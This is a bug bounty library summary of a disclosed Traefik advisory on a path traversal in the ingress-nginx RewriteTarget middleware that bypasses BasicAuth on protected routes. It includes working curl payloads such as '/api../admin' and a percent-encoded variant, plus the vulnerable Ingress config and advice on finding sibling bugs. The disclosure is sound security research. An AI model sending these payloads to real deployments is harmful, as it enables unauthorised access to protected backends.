# Traefik: Kubernetes Ingress NGINX RewriteTarget Path Traversal Allows Route-Level Authentication Bypass

Traefik's ingress-nginx RewriteTarget middleware rewrites /api../admin to /../admin after routing, letting unauthenticated requests reach BasicAuth-protected backend paths.

- Payout: Research
- Severity: high
- Program: Traefik
- Found by: B1gN0Se
- Disclosed: 2026-08-06
- CVE: CVE-2026-67309
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8rxv-jg7p-wvg3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8rxv-jg7p-wvg3
- Tags: area:cloud domain:cloud domain:web impact:internal-access kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:path-traversal

**Target:** Kubernetes Ingress NGINX provider RewriteTarget middleware
**Root cause:** RewriteTarget applies regex capture replacement to the request path and forwards the result without verifying that PathUnescape output equals its normalized form; routing already happened, so the protected router's auth middleware is never applied.
**Steps:**
1. Deploy Ingress with path `/api(.*)`, annotation `nginx.ingress.kubernetes.io/rewrite-target: "/$1"`, and a separate `/admin` Ingress protected by BasicAuth on the same backend.
2. Confirm direct access is blocked: `curl --path-as-is -i http://127.0.0.1:18080/admin` returns 401.
3. Send `curl --path-as-is -i http://127.0.0.1:18080/api../admin`; sanitizer leaves `api..` as one segment, router regex matches, RewriteTarget captures `../admin` producing `/../admin`.
4. Backend normalizes `/../admin` to `/admin` and returns protected content with 200.
5. Percent-encoded variant `curl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin` also returns 200.
**How found:** Noticed the ingress-nginx RewriteTarget duplicates ReplacePathRegex capture-based rewriting but lacked the post-replacement normalization invariant added in the earlier advisory; hypothesized that a `..` captured adjacent to the prefix would create a traversal after routing, then validated with a normalizing Node backend and a Kubernetes API fixture.
**Exploitation:** Unauthenticated attacker sends a single request whose path places `..` adjacent to the public route prefix; RewriteTarget's capture group turns it into a dot-segment path forwarded to the shared backend, which normalizes it to the protected path, bypassing BasicAuth/DigestAuth/ForwardAuth/IP restrictions attached only to the protected router. Method-agnostic, so state-changing verbs work too.
**Escalation:** Sibling of GHSA-cxjq-mrr5-89rv: the fix added normalization validation to ReplacePathRegex but not to the separate ingress-nginx RewriteTarget implementation, so the bypass survives on patched v3.7.7.
**Insight:** When a vendor patches one middleware for a path-normalization bug, enumerate every sibling middleware doing the same string replacement (StripPrefix, StripPrefixRegex, ingress-nginx rewrite) — the invariant check is usually missing in the copies. Test `prefix..` (no separator) since sanitizers treat `api..` as one ordinary segment.

## Proof of concept (copied exactly from the original report)

**curl traversal request bypassing BasicAuth**

```
curl --path-as-is -i http://127.0.0.1:18080/api../admin

Observed:

HTTP/1.1 200 OK
{"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMIN_SECRET_DATA"}
```

**Percent-encoded traversal variant request**

```
curl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin

Observed:

HTTP/1.1 200 OK
{"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMIN_SECRET_DATA"}
```

**Vulnerable Ingress rewrite-target annotation config**

```
nginx.ingress.kubernetes.io/use-regex: "true"
    nginx.ingress.kubernetes.io/rewrite-target: "/$1"
spec:
  rules:
    - http:
        paths:
          - path: /api(.*)
            pathType: ImplementationSpecific
```

